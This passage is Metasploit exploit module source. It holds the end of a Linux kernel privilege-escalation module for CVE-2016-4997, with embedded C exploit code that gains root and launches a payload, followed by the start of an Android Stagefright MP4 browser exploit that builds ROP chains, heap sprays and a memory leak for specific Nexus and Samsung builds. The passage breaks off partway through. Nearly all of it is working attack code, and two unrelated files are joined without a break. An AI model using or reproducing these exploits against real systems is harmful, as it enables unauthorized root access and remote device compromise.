only works against Ubuntu 16.04 (not 16.04.1) with kernel
4.4.0-21-generic.
Several conditions have to be met for successful exploitation:
Ubuntu:
1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such)
2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile
Kernel 4.4.0-31-generic and newer are not vulnerable.
We write the ascii files and compile on target instead of locally since metasm bombs for not
having cdefs.h (even if locally installed)
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <mike@stcyrsecurity.com>', # Module
'vnik' # Discovery
],
'DisclosureDate' => 'Jun 03 2016',
'Platform' => [ 'linux'],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Ubuntu', { } ]
#[ 'Fedora', { } ]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'EDB', '40049'],
[ 'CVE', '2016-4997'],
[ 'URL', 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c']
]
))
register_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]),
OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
], self.class)
end
def check
def iptables_loaded?()
# user@ubuntu:~$ cat /proc/modules | grep ip_tables
# ip_tables 28672 1 iptable_filter, Live 0x0000000000000000
# x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000
vprint_status('Checking if ip_tables is loaded in kernel')
if target.name == "Ubuntu"
iptables = cmd_exec('cat /proc/modules | grep ip_tables')
if iptables.include?('ip_tables')
vprint_good('ip_tables.ko is loaded')
else
print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command')
end
return iptables.include?('ip_tables')
elsif target.name == "Fedora"
iptables = cmd_exec('cat /proc/modules | grep iptable_raw')
if iptables.include?('iptable_raw')
vprint_good('iptable_raw is loaded')
else
print_error('iptable_raw is not loaded. root needs to run iptables -L or similar command')
end
return iptables.include?('iptable_raw')
else
return false
end
end
def shemsham_installed?()
# we want this to be false.
vprint_status('Checking if shem or sham are installed')
shemsham = cmd_exec('cat /proc/cpuinfo')
if shemsham.include?('shem')
print_error('shem installed, system not vulnerable.')
elsif shemsham.include?('sham')
print_error('sham installed, system not vulnerable.')
else
vprint_good('shem and sham not present.')
end
return (shemsham.include?('shem') or shemsham.include?('sham'))
end
if iptables_loaded?() and not shemsham_installed?()
return CheckCode::Appears
else
return CheckCode::Safe
end
end
def exploit
# first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version.
def has_prereqs?()
vprint_status('Checking if 32bit C libraries, gcc-multilib, and gcc are installed')
if target.name == "Ubuntu"
lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
if lib.include?('install')
vprint_good('libc6-dev-i386 is installed')
else
print_error('libc6-dev-i386 is not installed. Compiling will fail.')
end
multilib = cmd_exec('dpkg --get-selections | grep ^gcc-multilib')
if multilib.include?('install')
vprint_good('gcc-multilib is installed')
else
print_error('gcc-multilib is not installed. Compiling will fail.')
end
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
else
print_error('gcc is not installed. Compiling will fail.')
end
return gcc.include?('gcc') && lib.include?('install') && multilib.include?('install')
elsif target.name == "Fedora"
lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'')
if lib.include?('glibc')
vprint_good('glibc-devel.i686 is installed')
else
print_error('glibc-devel.i686 is not installed. Compiling will fail.')
end
if lib.include?('libgcc')
vprint_good('libgcc.i686 is installed')
else
print_error('libgcc.i686 is not installed. Compiling will fail.')
end
multilib = false #not implemented
gcc = false #not implemented
return (lib.include?('glibc') && lib.include?('libgcc')) && gcc && multilib
else
return false
end
end
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
desc_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
env_ready_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
pwn_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
payload_file = rand_text_alpha(8)
payload_path = "#{datastore["WritableDir"]}/#{payload_file}"
# direct copy of code from exploit-db, except removed the check for shem/sham and ip_tables.ko since we can do that in the check area here
# removed #include <netinet/in.h> per busterb comment in PR 7326
decr = %q{
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <netinet/in.h>
#include <linux/sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <net/if.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <sys/mman.h>
#define MALLOC_SIZE 66*1024
int decr(void *p) {
int sock, optlen;
int ret;
void *data;
struct ipt_replace *repl;
struct ipt_entry *entry;
struct xt_entry_match *ematch;
struct xt_standard_target *target;
unsigned i;
sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock == -1) {
perror("socket");
return -1;
}
data = malloc(MALLOC_SIZE);
if (data == NULL) {
perror("malloc");
return -1;
}
memset(data, 0, MALLOC_SIZE);
repl = (struct ipt_replace *) data;
repl->num_entries = 1;
repl->num_counters = 1;
repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
repl->valid_hooks = 0;
entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
entry->target_offset = 74; // overwrite target_offset
entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);
ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));
strcpy(ematch->u.user.name, "icmp");
void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
uint64_t *me = (uint64_t *)(kmatch + 0x58);
*me = 0xffffffff821de10d; // magic number!
uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
*match = (uint32_t)kmatch;
ematch->u.match_size = (short)0xffff;
target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
uint32_t *t = (uint32_t *)target;
*t = (uint32_t)kmatch;
printf("[!] Decrementing the refcount. This may take a while...\n");
printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");
for (i = 0; i < 0xffffff/2+1; i++) {
ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);
}
close(sock);
free(data);
printf("[+] Done! Now run ./pwn\n");
return 0;
}
int main(void) {
void *stack;
int ret;
printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");
ret = unshare(CLONE_NEWUSER);
if (ret == -1) {
perror("unshare");
return -1;
}
stack = (void *) malloc(65536);
if (stack == NULL) {
perror("malloc");
return -1;
}
clone(decr, stack + 65536, CLONE_NEWNET, NULL);
sleep(1);
return 0;
}
}
# direct copy of code from exploit-db
pwn = %q{
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <assert.h>
#define MMAP_ADDR 0xff814e3000
#define MMAP_OFFSET 0xb0
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);
void __attribute__((regparm(3))) privesc() {
commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;
commit_creds(prepare_kernel_cred((uint64_t)NULL));
}
int main() {
void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
assert(payload == (void *)MMAP_ADDR);
void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);
memset(shellcode, 0, 0x300000);
void *ret = memcpy(shellcode, &privesc, 0x300);
assert(ret == shellcode);
printf("[+] Escalating privs...\n");
int fd = open("/dev/ptmx", O_RDWR);
close(fd);
assert(!getuid());
printf("[+] We've got root!");
return execl("/bin/bash", "-sh", NULL);
}
}
# the original code printed a line. However, this is hard to detect due to threading.
# so instead we can write a file in /tmp to catch.
decr.gsub!(/printf\("\[\+\] Done\! Now run \.\/pwn\\n"\);/,
"int fd2 = open(\"#{env_ready_file}\", O_RDWR|O_CREAT, 0777);close(fd2);" )
# patch in to run our payload
pwn.gsub!(/execl\("\/bin\/bash", "-sh", NULL\);/,
"execl(\"#{payload_path}\", NULL);")
def pwn(payload_path, pwn_file, pwn, compile)
# lets write our payload since everythings set for priv esc
vprint_status("Writing payload to #{payload_path}")
write_file(payload_path, generate_payload_exe)
cmd_exec("chmod 555 #{payload_path}")
register_file_for_cleanup(payload_path)
# now lets drop part 2, and finish up.
rm_f pwn_file
if compile
print_status "Writing pwn executable to #{pwn_file}.c"
rm_f "#{pwn_file}.c"
write_file("#{pwn_file}.c", pwn)
cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}")
register_file_for_cleanup("#{pwn_file}.c")
else
print_status "Writing pwn executable to #{pwn_file}"
write_file(pwn_file, pwn)
end
register_file_for_cleanup(pwn_file)
cmd_exec("chmod +x #{pwn_file}; #{pwn_file}")
end
if not compile # we need to override with our pre-created binary
# pwn file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-pwn.out')
fd = ::File.open( path, "rb")
pwn = fd.read(fd.stat.size)
fd.close
# desc file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-decr.out')
fd = ::File.open( path, "rb")
decr = fd.read(fd.stat.size)
fd.close
# overwrite the hardcoded variable names in the compiled versions
env_ready_file = '/tmp/okDjTFSS'
payload_path = '/tmp/2016_4997_payload'
end
# check for shortcut
if datastore['REEXPLOIT']
pwn(payload_path, pwn_file, pwn, compile)
else
rm_f desc_file
if compile
print_status "Writing desc executable to #{desc_file}.c"
rm_f "#{desc_file}.c"
write_file("#{desc_file}.c", decr)
register_file_for_cleanup("#{desc_file}.c")
output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}")
else
write_file(desc_file, decr)
end
rm_f env_ready_file
register_file_for_cleanup(env_ready_file)
#register_file_for_cleanup(desc_file)
if not file_exist?(desc_file)
vprint_error("gcc failure output: #{output}")
fail_with(Failure::Unknown, "#{desc_file}.c failed to compile")
end
if target.name == "Ubuntu"
vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created."
elsif target.name == "Fedora"
vprint_status "Executing #{desc_file}, may take around 80s to finish. Watching for #{env_ready_file} to be created."
end
cmd_exec("chmod +x #{desc_file}; #{desc_file}")
sec_waited = 0
until sec_waited > datastore['MAXWAIT'] do
Rex.sleep(1)
if sec_waited % 10 == 0
vprint_status("Waited #{sec_waited}s so far")
end
if file_exist?(env_ready_file)
print_good("desc finished, env ready.")
pwn(payload_path, pwn_file, pwn, compile)
return
end
sec_waited +=1
end
end
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "Android Stagefright MP4 tx3g Integer Overflow",
'Description' => %q{
This module exploits a integer overflow vulnerability in the Stagefright
Library (libstagefright.so). The vulnerability occurs when parsing specially
crafted MP4 files. While a wide variety of remote attack vectors exist, this
particular exploit is designed to work within an HTML5 compliant browser.
Exploitation is done by supplying a specially crafted MP4 file with two
tx3g atoms that, when their sizes are summed, cause an integer overflow when
processing the second atom. As a result, a temporary buffer is allocated
with insufficient size and a memcpy call leads to a heap overflow.
This version of the exploit uses a two-stage information leak based on
corrupting the MetaData that the browser reads from mediaserver. This method
is based on a technique published in NorthBit's Metaphor paper. First,
we use a variant of their technique to read the address of a heap buffer
located adjacent to a SampleIterator object as the video HTML element's
videoHeight. Next, we read the vtable pointer from an empty Vector within
the SampleIterator object using the video element's duration. This gives
us a code address that we can use to determine the base address of
libstagefright and construct a ROP chain dynamically.
NOTE: the mediaserver process on many Android devices (Nexus, for example) is
constrained by SELinux and thus cannot use the execve system call. To avoid
this problem, the original exploit uses a kernel exploit payload that disables
SELinux and spawns a shell as root. Work is underway to make the framework
more amenable to these types of situations. Until that work is complete, this
exploit will only yield a shell on devices without SELinux or with SELinux in
permissive mode.
},
'License' => MSF_LICENSE,
'Author' =>
[
# Exodus/jordan # initial discovery / disclosure
'jduck', # Metasploit module, further infoleak development
'NorthBit' # intiial information leak implementation
],
'References' =>
[
[ 'CVE', '2015-3864' ],
[ 'URL', 'https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/' ],
[ 'URL', 'http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html' ],
[ 'URL', 'https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf' ],
[ 'URL', 'https://github.com/NorthBit/Metaphor' ],
# Not used, but related
[ 'URL', 'http://drops.wooyun.org/papers/7558' ],
[ 'URL', 'http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html' ],
[ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/' ],
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true,
},
#'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/mettle/reverse_tcp' },
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE], # TODO: , ARCH_X86, ARCH_X86_64, ARCH_MIPSLE],
'Targets' =>
[
[ 'Automatic', {} ],
#
# Each target includes information about the device, firmware, and
# how exactly to about exploiting it.
#
# Primarily, these targets are used to map a browser's User-Agent to
# exploit specifics for that device / build.
#
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX21P',
'Release' => '5.0',
'Rop' => 'lrx',
'SprayAddress' => 0xb1508000
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX22C',
'Release' => '5.0.1',
'Rop' => 'lrx'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX22G',
'Release' => '5.0.2',
'Rop' => 'lrx'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47O',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47V',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY48G',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY48I',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX22G',
'Release' => '5.0.2',
'Rop' => 'lrx'
}
],
[
'Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47O',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47V',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.0 (LRX21O)',
{
'Model' => 'Nexus 5',
'Build' => 'LRX21O',
'Release' => '5.0',
'Rop' => 'lrx'
}
],
[
'Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)',
{
'Model' => 'Nexus 5',
'Build' => 'LRX22C',
'Release' => '5.0.1',
'Rop' => 'lrx'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1 (LMY47D)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY47D',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1 (LMY47I)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY47I',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY48B',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY48I',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Nexus 6 (shamu) with Android 5.0 (LRX21O)',
{
'Model' => 'Nexus 6',
'Build' => 'LRX21O',
'Release' => '5.0',
'Rop' => 'lrx'
}
],
[
'Nexus 6 (shamu) with Android 5.0.1 (LRX22C)',
{
'Model' => 'Nexus 6',
'Build' => 'LRX22C',
'Release' => '5.0.1',
'Rop' => 'lrx'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47D)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47D',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47E)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47E',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47I)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47I',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)',
{
'Model' => 'Nexus 6',
'Build' => 'LYZ28E',
'Release' => '5.1.1',
'Rop' => 'shamu / LYZ28E'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47M)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47M',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47Z',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LVY48C)',
{
'Model' => 'Nexus 6',
'Build' => 'LVY48C',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LMY48I)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY48I',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)',
{
'Model' => 'Nexus 6',
'Build' => 'LYZ28J',
'Release' => '5.1.1',
'Rop' => 'shamu / LYZ28J'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LVY48E)',
{
'Model' => 'Nexus 6',
'Build' => 'LVY48E',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)',
{
'Model' => 'SM-G900V',
'Build' => 'LRX21T',
'Release' => '5.0',
'Rop' => 'sm-g900v / OE1',
'SprayAddress' => 0xaf008000,
'SampleIteratorSize' => 0xa8,
'VectorSize' => 0xec
}
]
],
'Privileged' => true,
'DisclosureDate' => "Aug 13 2015",
'DefaultTarget' => 0))
=begin
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
=end
end
def exploit
@peers = {}
super
end
def get_target(request)
agent = request.headers['User-Agent']
self.targets.each do |t|
next if t.name == 'Automatic'
regexp = Regexp.escape("Linux; Android #{t['Release']}; #{t['Model']} Build/#{t['Build']}")
return t if (agent =~ /#{regexp}/)
end
return nil
end
#
# Construct a page worth of data that we'll spray
#
# NOTE: The data within is target-specific
#
def build_spray(my_target, peer, spray_addr)
# Initialize the page to a reasonable state.
page = ''
page = rand_text(4096)
# Load target-based exploit-specific variables
details = get_details(my_target)
return nil if details.nil?
# Calculate the libstagefright.so base address
vector_rva = details['VectorRVA']
vector_ptr = peer[:vector_vtable_addr]
libsf_base = (vector_ptr & 0xfffff000) - (vector_rva & 0xfffff000)
# If we smash mDataSource, this ends up controlling the program counter!!
=begin
0xb65fd7c4 <parseChunk(long long*, int)+4596>: ldr r2, [r0, #0]
0xb65fd7c6 <parseChunk(long long*, int)+4598>: str r1, [sp, #0]
0xb65fd7c8 <parseChunk(long long*, int)+4600>: ldr r5, [r7, #0]
0xb65fd7ca <parseChunk(long long*, int)+4602>: str r5, [sp, #4]
0xb65fd7cc <parseChunk(long long*, int)+4604>: ldr r6, [r2, #28]
0xb65fd7ce <parseChunk(long long*, int)+4606>: ldrd r2, r3, [r10]
0xb65fd7d2 <parseChunk(long long*, int)+4610>: blx r6
0xb65fd7d4 <parseChunk(long long*, int)+4612>: ldrd r2, r3, [sp, #64] ; 0x40
=end
# Initialize our pivot values and adjust them to libstagefright's base.
# First, load r0 (pointer to our buffer) into some register..
mds_pivot1 = libsf_base + details['Pivot1']
# Next, load sp (and probably other stuff) from there
mds_pivot2 = libsf_base + details['Pivot2']
# Finally, skip over some stuff and kick of the ROP chain
mds_adjust = libsf_base + details['Adjust']
# The offset to the ROP change beginning
rop_start_off = 0x30
# Point sp to the remainder of the ROP chain
new_sp = spray_addr + rop_start_off
# Sometimes the spray isn't aligned perfectly, this fixes that situation...
unalign_off = 0x998
new_sp2 = new_sp + 0x1000 - unalign_off
# This pointer should point to the beginning of the shellcode payload
payload_ptr = spray_addr + 0xa0
# Put the stack back!
stack_fix = "\x0a\xd0\xa0\xe1" # mov sp, r10 ; restore original sp
# Depending on the pivot strategy in use, we have to set things up slightly
# differently...
#
# In each case, we use a two-stage pivot that reads the spray address from
# r0 (we smashed that, remember).
#
# The addroffs array is used to map values to the offsets where the pivots
# expect them to be.
#
case details['PivotStrategy']
when 'lrx'
addroffs = [
[ 0x0, new_sp ],
[ 0x10, mds_pivot2 ],
[ 0x1c, mds_pivot1 ],
]
# Since we are only popping one item in pivot2, we reduce the rop_start_off
rop_start_off -= 4
# Adjust the payload pointer
payload_ptr -= 4
when 'lmy-1'
addroffs = [
[ 0x8, new_sp ],
[ 0xc, mds_adjust ],
[ 0x10, mds_pivot2 ],
[ 0x1c, mds_pivot1 ]
]
when 'lmy-2'
ptr_to_mds_pivot2 = spray_addr + 0x10 - 0x18 # adjust for displacement
addroffs = [
[ 0x0, ptr_to_mds_pivot2 ],
[ 0x8, new_sp ],
[ 0xc, mds_adjust ],
[ 0x10, mds_pivot2 ],
[ 0x1c, mds_pivot1 ]
]
stack_fix = "\x09\xd0\xa0\xe1" # mov sp, r9 ; restore original sp
when 'lyz'
ptr_to_mds_pivot2 = spray_addr + 0x8
addroffs = [
[ 0x0, ptr_to_mds_pivot2 ],
[ 0x8, mds_pivot2 ],
[ 0x1c, mds_pivot1 ],
[ 0x24, new_sp ],
# lr is at 0x28!
[ 0x2c, mds_adjust ]
]
# We can't fix it becuse we don't know where the original stack is anymore :-/
stack_fix = ""
when 'sm-g900v'
addroffs = [
[ 0x4, mds_adjust ],
[ 0x10, new_sp ],
[ 0x1c, mds_pivot1 ],
[ 0x20, mds_pivot2 ]
]
else
print_error("ERROR: PivotStrategy #{details['PivotStrategy']} is not implemented yet!")
return nil
end
# We need our ROP to build the page... Create it.
rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] })
# Fix up the payload pointer in the ROP
idx = rop.index([ 0xc600613c ].pack('V'))
rop[idx, 4] = [ payload_ptr ].pack('V')
# Insert the ROP
page[rop_start_off, rop.length] = rop
# Insert the special values...
addroffs.each do |ao|
off,addr = ao
page[off,4] = [ addr ].pack('V')
# Sometimes the spray isn't aligned perfectly...
if addr == new_sp
page[off+unalign_off,4] = [ new_sp2 ].pack('V')
else
page[off+unalign_off,4] = [ addr ].pack('V')
end
end
page
end
#
# MPEG-4 specific functionality
#
def get_atom(tag, data='', length=nil)
if tag.length != 4
raise 'Yo! They call it "FourCC" for a reason.'
end
length ||= data.length + 8
if length >= 2**32
return [ [ 1 ].pack('N'), tag, [ length ].pack('Q>'), data ].join
end
[ [ length ].pack('N'), tag, data ].join
end
def get_stsc(num)
stsc_data = [ 0, num ].pack('N*') # version/flags, mNumSampleToChunkOffsets
stsc_data << [ 13+1, 0x5a5a5a5a, 37 ].pack('N*') * num
get_atom('stsc', stsc_data)
end
def get_ftyp
# Build the MP4 header...
ftyp = 'mp42'
ftyp << [ 0 ].pack('N')
ftyp << 'mp42'
ftyp << 'isom'
get_atom('ftyp', ftyp)
end
def get_pssh(alloc_size)
pssh_data = ''
pssh_data << [ 0 ].pack('N')
pssh_data << [ 0, 0, 0, 0 ].pack('N*')
pssh_data << [ alloc_size ].pack('N')
alloc_size.times do |off|
pssh_data << [ 0x55aa0000 + off ] .pack('V')
end
get_atom('pssh', pssh_data)
end
def get_metaitem(tag, type, data)
ret = ''
ret << tag.reverse
ret << type.reverse
case type
when 'in32'
ret << [ 4, data ].pack('V*')
when 'in64'
ret << [ 8, data ].pack('V*')
else
raise "How do you expect me to make a #{type.inspect} ??"
end
ret
end
def jemalloc_round(sz)
# These are in the 16-byte aligned runs
if (sz > 0x10 && sz <= 0x80)
round = 16
# 160 starts the 32-byte aligned runs
elsif (sz > 0x80 && sz <= 0x140)
round = 32
else
raise "Don't know how to round 0x%x" % sz
end
ret = (sz + (round - 1)) / round
ret *= round
return ret
end
#
# Leak data from mediaserver back to the browser!
#
# Stage 1 - leak a heap pointer near a SampleIterator object
# Stage 2 - read a code pointer from the SampleIterator object
#
def get_mp4_leak(my_target, peer)
# MPEG4 Fileformat Reference:
# http://qtra.apple.com/index.html
#
# Structure:
# [File type Chunk][Other Atom Chunks]
#
# Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]
#
sampiter_alloc_size = 0x78
sampiter_alloc_size = my_target['SampleIteratorSize'] if not my_target['SampleIteratorSize'].nil?
sampiter_rounded = jemalloc_round(sampiter_alloc_size)
vector_alloc_size = 0x8c
vector_alloc_size = my_target['VectorSize'] if not my_target['VectorSize'].nil?
groom_count = 0x10
is_samsung = (my_target['Rop'] == 'sm-g900v / OE1')
# Coerce the heap into a favorable shape (fill holes)
shape_vector = get_pssh(vector_alloc_size)
# Allocate a block of memory of the correct size
placeholder = get_atom('titl', ('t' * 4) + ('titl' * (vector_alloc_size / 4)) + [ 0 ].pack('C'))
# Make the first tx3g chunk, which is meant to overflow into a MetaData array.
# We account for the overhead of both chunks here and aim for this layout:
#
# placeholder after re-allocation | vector array data
# <len><tag><padding><is-64bit><tag><len hi><len low> | <overflow data>
#
# Realistically, tx3g1_padding can be any number that rounds up to the
# correct size class.
tx3g1_overhead = 0x8
tx3g2_overhead = 0x10
tx3g_target = jemalloc_round(vector_alloc_size)
tx3g1_padding = tx3g_target - (tx3g1_overhead + tx3g2_overhead)
tx3g_data = 'x' * tx3g1_padding
tx3g_1 = get_atom('tx3g', tx3g_data)
# NOTE: hvcC added in 3b5a6b9fa6c6825a1d0b441429e2bb365b259827 (5.0.0 and later only)
# avcC was in the initial commit.
near_sampiter = get_atom('hvcC', "C" * sampiter_alloc_size)
# Craft the data that will overwrite the header and part of the MetaData
# array...
more_data = ''
more_data << [ 9, vector_alloc_size - 0x10, 0, 0 ].pack('V*')
# Now add the thing(s) we want to control (partially)
#
# We add some BS entries just to kill the real 'heig' and get proper
# ordering...
near_sampiter_addr = peer[:near_sampiter_addr]
if near_sampiter_addr.nil?
# Part 1. Leak the address of a chunk that should be adjacent to a
# SampleIterator object.
if is_samsung
# On Samsung:
# Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt
# After: dmcE, abc1, abc2, abc3, heig...
more_data << get_metaitem('dmcE', 'in32', 1)
more_data << get_metaitem('abc1', 'in32', 31335)
more_data << get_metaitem('abc2', 'in32', 31336)
end
# On Nexus:
# Before: heig, hvcc, inpS, mime, text, widt
# After: abc3, heig...
more_data << get_metaitem('abc3', 'in32', 31337)
# NOTE: We only use the first 12 bytes so that we don't overwrite the
# pointer that is already there!
heig = get_metaitem('heig', 'in32', 31338)
more_data << heig[0,12]
else
# Part 2. Read from the specified address, as with the original Metaphor
# exploit.
if is_samsung
# On Samsung:
# Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt
# After: dmcE, dura, ...
more_data << get_metaitem('dmcE', 'in32', 1)
else
# On Nexus:
# Before: avcc, heig, inpS, mime, text, widt
# After: dura, ...
near_sampiter = get_atom('avcC', "C" * sampiter_alloc_size)
end
# Try to read the mCurrentChunkSampleSizes vtable ptr within a
# SampleIterator object. This only works because the Vector is empty thus
# passing the restrictions imposed by the duration conversion.
ptr_to_vector_vtable = near_sampiter_addr - (sampiter_rounded * 2) + 0x30
